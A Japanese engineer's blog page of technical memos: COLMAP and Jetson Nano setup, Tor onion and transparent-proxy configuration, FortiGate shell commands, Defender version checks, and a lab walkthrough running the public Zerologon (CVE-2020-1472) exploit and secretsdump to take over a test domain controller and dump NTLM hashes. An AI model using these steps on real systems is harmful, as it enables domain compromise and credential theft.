たれながし.info

派遣で働くITエンジニアの備忘録

Jetson Nano 2GBにCOLMAPをインストールする

Jetson Nano 2GBにCOLMAPをインストールした時のメモになります。

はじめに

Jetson Nano 2GBにCOLMAPをインストールした時のメモになります。

COLMAPの公式ドキュメントに沿ってインストール作業を実施したところ、COLMAPのビルドでエラーが発生しました。UbuntuリポジトリからインストールしたQt5に問題があるようだったので、Qt5をソースからビルドしてインストールしたところ、COLMAPのビルドも成功しました。

Qt5をリポジトリからインストールした時のCOLMAPのビルドエラーは「COLMAPのビルドで発生したエラー」に記載しています。

COLMAPについて

画像から3次元データを作成してくれるソフトウェア(という認識)です。

f:id:tarenagashi_info:20201228062402p:plain

環境

  • Jetson Nano 2GB
    • OS:Ubuntu 18.04.5 LTS(jetson-nano-2gb-jp441-sd-card-image)
    • COLMAP:3.7
    • Qt5:5.12.11
    • Ceres Solver:2.0.0

COLMAPインストール

パッケージのインストール

sudo apt -y install \
    git \
    cmake \
    build-essential \
    libboost-program-options-dev \
    libboost-filesystem-dev \
    libboost-graph-dev \
    libboost-regex-dev \
    libboost-system-dev \
    libboost-test-dev \
    libeigen3-dev \
    libsuitesparse-dev \
    libfreeimage-dev \
    libgoogle-glog-dev \
    libgflags-dev \
    libglew-dev \
    libcgal-dev

Ceres Solverのビルドとインストール

sudo apt-get install libatlas-base-dev libsuitesparse-dev
git clone https://ceres-solver.googlesource.com/ceres-solver
cd ceres-solver
git checkout $(git describe --tags) # Checkout the latest release
mkdir build
cd build
cmake .. -DBUILD_TESTING=OFF -DBUILD_EXAMPLES=OFF
make -j4
sudo make install

Qt5のビルドとインストール

ソースからQt5を導入します。

<参考手順>


パッケージのインストール

sudo vi /etc/apt/sources.list
→「#deb-src」のコメントアウトを解除

sudo apt update

sudo apt-get -y  build-dep qt5-default
sudo apt-get -y install libxcb-xinerama0-dev 
sudo apt-get -y install build-essential perl python git
sudo apt-get -y install '^libxcb.*-dev' libx11-xcb-dev libglu1-mesa-dev libxrender-dev libxi-dev libxkbcommon-dev libxkbcommon-x11-dev
sudo apt-get -y install libxcursor-dev libxcomposite-dev libxdamage-dev libxrandr-dev libxtst-dev libxss-dev libdbus-1-dev libevent-dev libfontconfig1-dev libcap-dev libpulse-dev libudev-dev libpci-dev libnss3-dev libasound2-dev libegl1-mesa-dev gperf bison nodejs
sudo apt-get -y install libasound2-dev libgstreamer1.0-dev libgstreamer-plugins-base1.0-dev libgstreamer-plugins-good1.0-dev libgstreamer-plugins-bad1.0-dev
sudo apt -y install libclang-6.0-dev llvm-6.0


ビルド実施

git clone git://git.qt-users.jp/mirror/qt/qt5.git --branch 5.12
cd qt5
./init-repository --module-subset=qtbase,qtdeclarative,qt3d
mkdir build
cd build
../configure -opensource -confirm-license
make -j4
sudo make install


ライブラリにパスを通す

cd /etc/ld.so.conf.d
echo "/usr/local/Qt-5.12.11/lib" | sudo tee -a Qt-5.12.11.conf
sudo ldconfig -v

COLMAPのビルドとインストール

cmakeの「-D」オプションで「CMAKE_PREFIX_PATH」にQt5のパスを渡します。

git clone https://github.com/colmap/colmap.git
cd colmap
git checkout dev
mkdir build
cd build
cmake -DCMAKE_PREFIX_PATH=/usr/local/Qt-5.12.11 ..
make -j4
sudo make install

動作確認

CUIの場合

colmap -h
COLMAP 3.7 -- Structure-from-Motion and Multi-View Stereo
              (Commit ec6c2aa on 2020-12-22 with CUDA)

Usage:
  colmap [command] [options]
...

GUIの場合

colmap gui

f:id:tarenagashi_info:20201229152916p:plain

COLMAPのビルドで発生したエラー

Qt5をUbuntuリポジトリからインストールした際に発生したCOLMAPのビルドエラーは以下になります。クラス「QOpenGLFunctions_3_2_Core」が見つからないというエラーみたいです。

[ 78%] Building CXX object src/CMakeFiles/colmap.dir/ui/automatic_reconstruction_widget.cc.o
In file included from /home/test/colmap/src/ui/main_window.h:50:0,
                 from /home/test/colmap/src/ui/automatic_reconstruction_widget.cc:34:
/home/test/colmap/src/ui/model_viewer_widget.h:55:63: error: expected class-name before ‘{’ token
                           protected QOpenGLFunctions_3_2_Core {
                                                               ^
In file included from /home/test/colmap/src/ui/main_window.h:50:0,
                 from /home/test/colmap/src/ui/bundle_adjustment_widget.cc:35:
/home/test/colmap/src/ui/model_viewer_widget.h:55:63: error: expected class-name before ‘{’ token
                           protected QOpenGLFunctions_3_2_Core {
                                                               ^
src/CMakeFiles/colmap.dir/build.make:1718: recipe for target 'src/CMakeFiles/colmap.dir/ui/automatic_reconstruction_widget.cc.o' failed
make[2]: *** [src/CMakeFiles/colmap.dir/ui/automatic_reconstruction_widget.cc.o] Error 1
make[2]: *** Waiting for unfinished jobs....
src/CMakeFiles/colmap.dir/build.make:1742: recipe for target 'src/CMakeFiles/colmap.dir/ui/bundle_adjustment_widget.cc.o' failed
make[2]: *** [src/CMakeFiles/colmap.dir/ui/bundle_adjustment_widget.cc.o] Error 1
CMakeFiles/Makefile2:1009: recipe for target 'src/CMakeFiles/colmap.dir/all' failed
make[1]: *** [src/CMakeFiles/colmap.dir/all] Error 2
Makefile:129: recipe for target 'all' failed
make: *** [all] Error 2


確認した感じだと以下のファイルに問題がありそうでした。

  • /usr/include/aarch64-linux-gnu/qt5/QtGui/qtgui-config.h
    → コンフィグの内容がJetson Nanoにあっていない?
  • /usr/include/aarch64-linux-gnu/qt5/QtGui/QOpenGLFunctions_3_2_Core
  • /usr/include/aarch64-linux-gnu/qt5/QtGui/QOpenGLVersionFunctions
    → ヘッダに宣言されている関数の定義がない

Jetson Nano 2GBのOSインストールと初期設定

Jetson Nano 2GBを購入したので、OSインストールと初期設定をします。

はじめに

環境

Jetson Nanoの起動に必要なもの

  • Jetson Nano 2GB
  • MicroSDカード ※32GB/UHS-1以上推奨
  • USB-TypeC ACアダプタ ※5V/3A

OSインストールに必要なもの

  • Windows10/Mac/Linux PC ※要MicroSD読み書き環境
  • USBマウス/USBキーボード

ネットワーク接続のため有線LAN環境/Wifi環境も必要です。

公式マニュアル

developer.nvidia.com

OSインストール

Windows10 PCを使用した場合になります。Mac/Linuxを使用する場合の手順とは異なります。

MicroSDカードのフォーマット

SDアソシエーションが公開する「SDメモリカードフォーマッター」でフォーマットします。OS付属のフォーマッターだと最適化されていない可能性があるので、「SDメモリカードフォーマッター」を使った方が良いそうです。

公式サイトからダウンロード
SDメモリカードフォーマッター - SD Association

インストールし起動する
MicroSDカードを「クイックフォーマット」する
f:id:tarenagashi_info:20201218235053p:plain

OSのインストール

NVIDIAの公式サイトから「OSイメージ」をDLして「Ether」でMicroSDに書き込みます。
OSイメージは4GB用と2GB用とで異なるので注意する必要があります。
OSイメージは圧縮状態で6GB、解凍すると13.4GBあります。

OSイメージをDLする
developer.nvidia.com

OSイメージを解凍する
f:id:tarenagashi_info:20201219001154p:plain

EtherをDLする
www.balena.io

Etherを起動してMicroSDにOSイメージを書き込む
f:id:tarenagashi_info:20201219011319p:plain

起動、初期設定、シャットダウン

起動と初期設定

MicroSDをJetSon Nanoに挿入しACアダプタを接続すると起動します。

初期設定

初回起動時に下記を設定します。
言語設定は初期設定は英語を選んだ方が良いらしい。日本語化する場合は初期設定完了後に言語パックを入れて設定する。

シャットダウン

GUIのメニュー経由かCUIで終了する

sudo shutdown -h now

各種設定

sshサーバー

OSインストール時点でsshサーバーの起動は有効です。

$ sudo systemctl is-enabled ssh
enabled

起動モードの変更

リソース節約のため、起動モードを変更します。

sudo systemctl get-default
graphical.target

sudo systemctl set-default multi-user.target
sudo shutdown -r now

xrdpのインストールと設定

GUIでリモート接続できるようにxrdpをインストールする。
パッケージをインストールすると自動起動する。

$ sudo apt -y install xrdp
$ echo "lxsession -s LXDE -e LXDE" >~/.xsession

xfce4のインストール

$ sudo apt-get install xfce4
$ echo xfce4-session >~/.xsession

スワップ領域

スワップ領域を確認します。
「/dev/zramX」はCPUコア毎のスワップ領域らしいです。
「/swapfile」はOS初回起動時に作成した4GBのスワップ領域です。

$ swapon -s
Filename                                Type            Size    Used    Priority
/swapfile                               file            4194300 0       -1
/dev/zram0                              partition       253420  0       5
/dev/zram1                              partition       253420  0       5
/dev/zram2                              partition       253420  0       5
/dev/zram3                              partition       253420  0       5

状態確認コマンド

動作周波数の確認

$ sudo jetson_clocks --show
SOC family:tegra210  Machine:NVIDIA Jetson Nano 2GB Developer Kit
Online CPUs: 0-3
CPU Cluster Switching: Disabled
cpu0: Online=1 Governor=schedutil MinFreq=102000 MaxFreq=1479000 CurrentFreq=710400 IdleStates: WFI=1 c7=1
cpu1: Online=1 Governor=schedutil MinFreq=102000 MaxFreq=1479000 CurrentFreq=921600 IdleStates: WFI=1 c7=1
cpu2: Online=1 Governor=schedutil MinFreq=102000 MaxFreq=1479000 CurrentFreq=825600 IdleStates: WFI=1 c7=1
cpu3: Online=1 Governor=schedutil MinFreq=102000 MaxFreq=1479000 CurrentFreq=921600 IdleStates: WFI=1 c7=1
GPU MinFreq=76800000 MaxFreq=921600000 CurrentFreq=76800000
EMC MinFreq=204000000 MaxFreq=1600000000 CurrentFreq=1600000000 FreqOverride=0
Fan: speed=0
NV Power Mode: MAXN

CUDAのバージョン確認

$ /usr/local/cuda-10.2/bin/nvcc -V
nvcc: NVIDIA (R) Cuda compiler driver
Copyright (c) 2005-2019 NVIDIA Corporation
Built on Wed_Oct_23_21:14:42_PDT_2019
Cuda compilation tools, release 10.2, V10.2.89

Torで.onionドメインのWebサーバーを立ててみた

Torを使って.onionドメインのWebサーバーを立ててみました。

はじめに

最近はダークウェブの監視ツールや監視サービスを販売しているセキュリティ企業が増えてきている気がします。(イスラエルの企業「IntSights社」や「ノートンダークウェブモニタリング」とか)
ということで、ダークウェブに興味が出始めたので.onionドメインのWebサーバーを立ててみました。

環境

  • OS:CentOS7.9
    • Webサーバー:Apache 2.4.6
    • Tor:0.3.5.12

※Torが使えれば、OSとWebサーバーは何でも良い
※サーバーはグローバルIPを持つ必要はなく、ファイアウォールの受信ポートも開ける必要はない

公式ドキュメント

設定方法はTorプロジェクトのサイトに記載があります。

2019.www.torproject.org

サーバー構築

OS設定

SELinuxは無効にしておきます。

# getenforce
Disabled

Apacheのインストールと設定

8080/tcpで待ち受けるように設定します。

Apacheをインストール

# yum -y install httpd

ポート設定

# sed -i -e 's/Listen 80/Listen 8080/' /etc/httpd/conf/httpd.conf

コンテンツの作成

# echo "Hello .onion" > /var/www/html/index.html

起動設定

# systemctl start httpd

動作確認

# curl http://localhost:8080
Hello .onion

Torのインストールと設定

epelからTorをインストールする

# yum -y install epel-release
# yum -y install tor

設定ファイルの中盤に「##############This section is just for location-hidden services ###」というセクションがあるので2行追記する

#vi /etc/tor/torrc
...
HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 80 127.0.0.1:8080
...

「HiddenServiceDir」には.onionドメイン名や秘密鍵を保存するフォルダ名を指定する。
「HiddenServicePort」はTorの待ち受けポートと転送先を指定する。

起動する

# systemctl start tor

動作確認

.onionドメインを確認する

# ls -l /var/lib/tor/hidden_service
total 12
drwx------ 2 toranon toranon  6 Dec 19 02:56 authorized_clients
-rw------- 1 toranon toranon 63 Dec 19 04:19 hostname
-rw------- 1 toranon toranon 64 Dec 19 02:56 hs_ed25519_public_key
-rw------- 1 toranon toranon 96 Dec 19 02:56 hs_ed25519_secret_key

# cat /var/lib/tor/hidden_service/hostname
trpqbrwso7iradhxvg7fg7csincffnjnroluut4qfivm6ri6iohwueqd.onion

「hostname」に.onionドメインが書いてあります。その.onionドメインは「secret_key」から作成されるようです。ということで、長期運用する場合は「secret_key」のバックアップを取って置いた方が良いらしい。(「secret_key」があれば、同じ.onionドメインのサーバーを立てられる。)

Torブラウザで接続できることを確認する
f:id:tarenagashi_info:20201219132704p:plain

Torで透過プロキシを立ててみた。

Torで透過プロキシを立てました。

はじめに

「Torを透過プロキシとして使えないかなー。」と思ってググったら、Torプロジェクトのページがヒットして設定方法も記載されていたので構築してみます。

gitlab.torproject.org

透過プロキシとは

クライアント側で明示的に設定しなくても使用できるプロキシです。
基本的にはネットワークの送信元と宛先の間に置いて使います。
メリット、デメリットは以下の通りです。

  • メリット
    • クライアント側でプロキシ設定をしなくてもプロキシ経由で通信できる
    • OSのプロキシ設定に従わないアプリケーションもプロキシ経由で通信できる
  • デメリット
    • 物理構成、ネットワーク構成、プロキシサーバーの設定など面倒な点が多い

Torを使用した透過プロキシ

以下の特徴や制限があります。

  • Torを使用するので、送信元IPアドレスを隠匿できる
  • Torの透過プロキシを動かすサーバーOSはLinuxBSDである必要がある
    • Linuxの場合、Torとiptablesを使用して構成する
    • BSDの場合、TorとPF(Packet Filter)を使用して構成する

ソフトウェア要件

LinuxでTorの透過プロキシを立てる場合、以下ソフトウェア要件があります。

  • iptables:1.3.5以上
  • Tor:0.2.0.1-alpha以上

構成

f:id:tarenagashi_info:20201213191103p:plain

クライアントからプロキシサーバーのネットワークIF「eth1」に到着したTCPDNSの通信をiptablesがTorに転送することで動作します。
クライアントが送信元となる通信のみTor経由とし、透過プロキシサーバーが送信元となる通信はTorの対象外とします(iptablesの設定で対象とすることも可能です)。

  • 透過プロキシサーバー
    • OSはCentOS7.9(要件を満たせば何でも良い)
    • ネットワークIFを2つ持つ
  • クライアント
    • 制限なし

Torプロキシの構築

OS設定

ネットワーク設定

IPアドレス設定を確認する

# ip a
...
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    inet 10.0.0.4/24 brd 10.0.0.255 scope global noprefixroute eth0
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    inet 10.0.1.4/24 brd 10.0.1.255 scope global noprefixroute eth1
...
SELINUX無効化

SELINUXは無効にします。有効な場合、Torが起動しない場合がある

# getenforce
Permissive

Torのインストールと設定

インストール

EPELからインストールする

# yum -y install epel-release
# yum -y install tor
バージョン確認

ソフトウェア要件を満たしているか確認する
※Tor >= 0.2.0.1-alpha

# rpm -qa tor
tor-0.3.5.12-1.el7.x86_64
設定

設定を4行追記する
上2行は.onionドメイン宛ての通信に関する設定、下2行はネットワーク通信とDNSでTorが使用するポートの設定

# vi /etc/tor/torc
...
VirtualAddrNetworkIPv4 10.192.0.0/10
AutomapHostsOnResolve 1
TransPort 10.0.1.4:9040
DNSPort 10.0.1.4:5353
起動
# systemctl enable tor
# systemctl start tor

# ss -anp | grep -e 5353 -e 9040
udp    UNCONN     0      0      10.0.1.4:5353                  *:*                   users:(("tor",pid=1168,fd=7))
tcp    LISTEN     0      128    10.0.1.4:9040                  *:*                   users:(("tor",pid=1168,fd=8))

iptablesのインストールと設定

インストール
# yum -y install iptables-services
バージョン確認

ソフトウェア要件を満たしているか確認する
iptables >= 1.3.5

# rpm -qa iptables*
iptables-services-1.4.21-35.el7.x86_64
iptables-1.4.21-35.el7.x86_64
起動

firewalldを停止して、iptablesを起動する

# systemctl disable firewalld
# systemctl stop firewalld
# systemctl enable iptables
# systemctl start iptables
設定

設定を全部消して、TCPDNSの通信をeth1からTorに転送する設定を入れる

# _trans_port="9040"
# _inc_if="eth1"

# iptables -F
# iptables -F -t nat

# iptables -t nat -A PREROUTING -i $_inc_if -p udp --dport 53 -j REDIRECT --to-ports 5353
# iptables -t nat -A PREROUTING -i $_inc_if -p udp --dport 5353 -j REDIRECT --to-ports 5353
# iptables -t nat -A PREROUTING -i $_inc_if -p tcp --syn -j REDIRECT --to-ports $_trans_port

設定を確認し保存する

# iptables-save
...
*nat
...
-A PREROUTING -i eth1 -p udp -m udp --dport 53 -j REDIRECT --to-ports 5353
-A PREROUTING -i eth1 -p udp -m udp --dport 5353 -j REDIRECT --to-ports 5353
-A PREROUTING -i eth1 -p tcp -m tcp --tcp-flags FIN,SYN,RST,ACK SYN -j REDIRECT --to-ports 9040
COMMIT
...

# iptables-save > /etc/sysconfig/iptables

クライアントの設定

ネットワーク設定

デフォルトGWがTorプロキシを通るように、DNSサーバはTorプロキシのIPアドレスに設定する
f:id:tarenagashi_info:20201213193012p:plain

動作確認

TCPDNSがTorプロキシを経由していることを確認します。

TCP通信

IP確認くんなどで送信元IPアドレスを確認する
f:id:tarenagashi_info:20201213193213p:plain

DNS通信

nslookupで.onionドメインが解決できることを確認する

>nslookup facebookcorewwwi.onion
Server:  UnKnown
Address:  10.0.1.4

Non-authoritative answer:
Name:    facebookcorewwwi.onion
Addresses:  feb2:2a86:fb1:9b9a:912b:3ba8:162e:bd5f
          10.228.75.238

FortiGateでLinuxコマンドを実行する

FortiGateで「fnsysctl [コマンド名]」と実行するとLinuxコマンドが実行できます。

検証環境

FortiGate-VM v6.4.3

Linuxコマンド

使用できるLinuxコマンドです。他にもあるかもしれません。

基本的なコマンド

ls
fortigate # fnsysctl ls -h
usage: ls [-aAl] [file ...]

fortigate # fnsysctl ls
bin           boot          cdrom         data          data2         dev           etc
fortidev      init          lib           migadmin      node-scripts  proc          root
sbin          sys           tmp           usr           var
pwd
fortigate # fnsysctl pwd
/
cat

v6.4.3ではprocファイルしか見られませんでした。制限が掛かっているのか、procファイル以外だと「Not allowed」となります。
ファームウェアによってはprocファイル以外も見られるみたいです。

fortigate # fnsysctl cat /proc/version
Linux version 3.2.16 (root@build) (gcc version 7.3.1 20180425 (Linaro GCC 7.3-2018.05) ) #2 SMP Wed Oct 21 19:53:17 UTC 2020

fortigate # fnsysctl cat /etc/nsswitch.conf
cat: /etc/nsswitch.conf: Not allowed
grep
fortigate # fnsysctl  grep
Usage: grep [-ilHhnqvscABC] PATTERN [FILE...]
Options:
        -i      Ignore case distinctions
        -l      List names of files that match
        -H      Prefix output lines with filename where match was found
        -h      Suppress the prefixing filename on output
        -n      Print line number with output lines
        -q      Quiet
        -v      Select non-matching lines
        -s      Suppress file open/read error messages
        -c      Only print count of matching lines
        -A      Print NUM lines of trailing context
        -B      Print NUM lines of leading context
        -C      Print NUM lines of output context
cli_grep
fortigate # fnsysctl  cli_grep
Usage: grep [-ilHhnqvscABC] PATTERN [FILE...]
Options:
        -i      Ignore case distinctions
        -l      List names of files that match
        -H      Prefix output lines with filename where match was found
        -h      Suppress the prefixing filename on output
        -n      Print line number with output lines
        -q      Quiet
        -v      Select non-matching lines
        -s      Suppress file open/read error messages
        -c      Only print count of matching lines
        -A      Print NUM lines of trailing context
        -B      Print NUM lines of leading context
        -C      Print NUM lines of output context
mv

「super_admin」で認証が必要です。

# fnsysctl mv
Admin:
Password:
usage: mv [-f] src dst

ネットワーク

ifconfig
fortigate # fnsysctl ifconfig port1
port1   Link encap:Ethernet  HWaddr 00:0D:3A:CD:ED:01
        inet addr:10.1.0.4  Bcast:10.1.0.255  Mask:255.255.255.0
        UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
        RX packets:60305 errors:0 dropped:0 overruns:0 frame:0
        TX packets:49399 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:1000
        RX bytes:48333018 (46.1 MB)  TX bytes:19417886 (18.5 MB)


fortigate # fnsysctl ifconfig ssl.root
ssl.root        Link encap:Unknown
        UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1
        RX packets:580 errors:0 dropped:0 overruns:0 frame:0
        TX packets:0 errors:0 dropped:2 overruns:0 carrier:0
        collisions:0 txqueuelen:0
        RX bytes:43970 (42.9 KB)  TX bytes:0 (0  Bytes)

プロセス管理

ps
fortigate # fnsysctl ps
PID       UID     GID     STATE   CMD
1         0       0       S       /bin/initXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
2         0       0       S       [kthreadd]
3         0       0       S       [ksoftirqd/0]
6         0       0       S       [migration/0]
7         0       0       S       [watchdog/0]
8         0       0       S       [migration/1]
...
kill
fortigate # fnsysctl kill
 usage: kill [ -s signal ] pid ...
      kill -l [ signal ]
killall
fortigate # fnsysctl killall
 usage: killall [ -s signal ] Name ...
      killall -l [ signal ]

ディスク使用量

du
fortigate # fnsysctl du -h
Summarize disk space used for each FILE and/or directory

        -a      Show file sizes too
        -L      Follow all symlinks
        -H      Follow symlinks on command line
        -d N    Limit output to directories (and files with -a) of depth < N
        -c      Show grand total
        -l      Count sizes many times if hard linked
        -s      Display only a total for each argument
        -x      Skip directories on different filesystems
        -i      Show number of inodes

fortigate # fnsysctl du
0       ./cdrom
28      ./migadmin/api/v2/monitor_schema/extender-controller
40      ./migadmin/api/v2/monitor_schema/firewall
4       ./migadmin/api/v2/monitor_schema/fortianalyzer
40      ./migadmin/api/v2/monitor_schema/wifi
...
df
fortigate # fnsysctl df
Usage: df [-hkm] [FILE] ...

fortigate # fnsysctl df -h
Filesystem                 Size       Used  Available Use% Mounted on
none                       7.2G      40.7M       7.1G   1% /tmp
none                       7.2G       1.6M       7.2G   0% /dev/shm
none                       7.2G     309.7M       6.9G   4% /dev/cmdb
/dev/sda1                123.9M     103.7M      13.8M  88% /data
/dev/sda2                  1.8G     105.0M       1.6G   6% /data2
/dev/sdc1                 29.5G     173.1M      27.8G   1% /var/log

Microsoft Defender ウイルス対策のバージョンを確認する

Microsoft Defender ウイルス対策のエンジンとシグネチャのバージョンを確認する方法。

はじめに

マイクロソフトの資料を見ていてたら「このサイバー攻撃にはDefenderのこのバージョンから検知することが可能です。」みたいな記載があったので、Defenderのエンジンとシグネチャのバージョンはどうやって確認するんだ?と思って調べてみたメモ。

GUIの場合

設定からWindowsセキュリティを開く
f:id:tarenagashi_info:20201212004331p:plain

Windowsセキュリティの設定を開く
f:id:tarenagashi_info:20201212004348p:plain

バージョン情報を選択
f:id:tarenagashi_info:20201212004403p:plain

システム情報から確認する
f:id:tarenagashi_info:20201212004417p:plain

<参考>
Windows セキュリティによる保護を利用します

PowerShellの場合

> Get-MpComputerStatus

AMEngineVersion                 : 1.1.17700.4
AMProductVersion                : 4.18.2011.6
AMRunningMode                   : Normal
AMServiceEnabled                : True
AMServiceVersion                : 4.18.2011.6
AntispywareEnabled              : True
AntispywareSignatureAge         : 0
AntispywareSignatureLastUpdated : 2020/12/11 18:09:26
AntispywareSignatureVersion     : 1.329.219.0
AntivirusEnabled                : True
AntivirusSignatureAge           : 0
AntivirusSignatureLastUpdated   : 2020/12/11 18:09:26
AntivirusSignatureVersion       : 1.329.219.0
BehaviorMonitorEnabled          : True
ComputerID                      : xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
ComputerState                   : 0
FullScanAge                     : 4294967295
FullScanEndTime                 :
FullScanStartTime               :
IoavProtectionEnabled           : True
IsTamperProtected               : True
IsVirtualMachine                : False
LastFullScanSource              : 0
LastQuickScanSource             : 2
NISEnabled                      : True
NISEngineVersion                : 1.1.17700.4
NISSignatureAge                 : 0
NISSignatureLastUpdated         : 2020/12/11 18:09:26
NISSignatureVersion             : 1.329.219.0
OnAccessProtectionEnabled       : True
QuickScanAge                    : 1
QuickScanEndTime                : 2020/12/10 5:01:50
QuickScanStartTime              : 2020/12/10 5:00:18
RealTimeProtectionEnabled       : True
RealTimeScanDirection           : 0
PSComputerName                  :

「Zerologon (CVE-2020-1472)」にExploit

ActiveDirectoryの脆弱性「Zerologon (CVE-2020-1472)」にExploitしてみます。

検証環境

攻撃される側はWindows Server 2019で構築したActiveDirectoryを使用します。
攻撃する側はPython3.7以上が使えれば何でも良いです。

  • 攻撃される側
  • 攻撃する側
    • Ubuntu20.04 LTS
    • Python3.8.5
    • impacket
    • exploit

Exploitの準備

ExploitはDirk-janがGitHubで公開しているものを使います。

GitHub
GitHub - dirkjanm/CVE-2020-1472: PoC for Zerologon - all research credits go to Tom Tervoort of Secura

Python3バージョン確認

Exploitの動作要件にPython3.6、impacketの動作要件にPython3.7とあるのでPythonのバージョンを確認します。

$ python3 --version
Python 3.8.5

impacketのインストール

impacketに含まれる「secretsdump.py」を使うのでインストールします。
パスワードハッシュのダンプに使用します。

GitHub
https://github.com/SecureAuthCorp/impacketGitHub - SecureAuthCorp/impacket: Impacket is a collection of Python classes for working with network protocols.

$ sudo apt install git python3-pip
$ git clone https://github.com/SecureAuthCorp/impacket.git
$ cd impacket/
$ sudo pip3 install .

Exploitのダウンロード

$ cd
$ git clone https://github.com/dirkjanm/CVE-2020-1472

Exploitの実行

Exploit実行

成功するとdc01のコンピュータアカウントのパスワードが「なし」になります。
→「NTLMハッシュ=31d6cfe0d16ae931b73c59d7e0c089c0」

$ cd CVE-2020-1472/
$ python3 cve-2020-1472-exploit.py <hostname> <target-IP>

f:id:tarenagashi_info:20201208000901p:plain

NTLMハッシュのダンプ

dc01のコンピュータアカウントでNTLMハッシュのダンプをします。パスワードなしで実行できます。
これでAdministratorのNTLMハッシュが分かります。悪用されると困ります。

secretsdump.py -just-dc -no-pass <hostname>\$@<target-IP>

f:id:tarenagashi_info:20201208001032p:plain

AdministratorのNTLMハッシュを使ってダンプをします。
「plain_password_hex」を確認します。この値はExploit前の状態に戻すために使います。

secretsdump.py -hashes <NTLM-hash> administrator@<target-IP>

f:id:tarenagashi_info:20201208001202p:plain

Exploit前の状態へ復元

Exploit前の状態に戻さないと不整合により不具合が出るので、Exploit実行から時間を空けずに戻します。
戻す時は上記コマンド結果で確認した「plain_password_hex」を使います(長い、数100文字ある)。

なぜ不具合が出るか/どんな不具合が出るかは、Exploitの作成者Dirk-janがTwitterで説明しています。

python3 restorepassword.py <domain>/<hostname>@<hostname> -target-ip <target-IP> -hexpass <hex-credential>

f:id:tarenagashi_info:20201208001318p:plain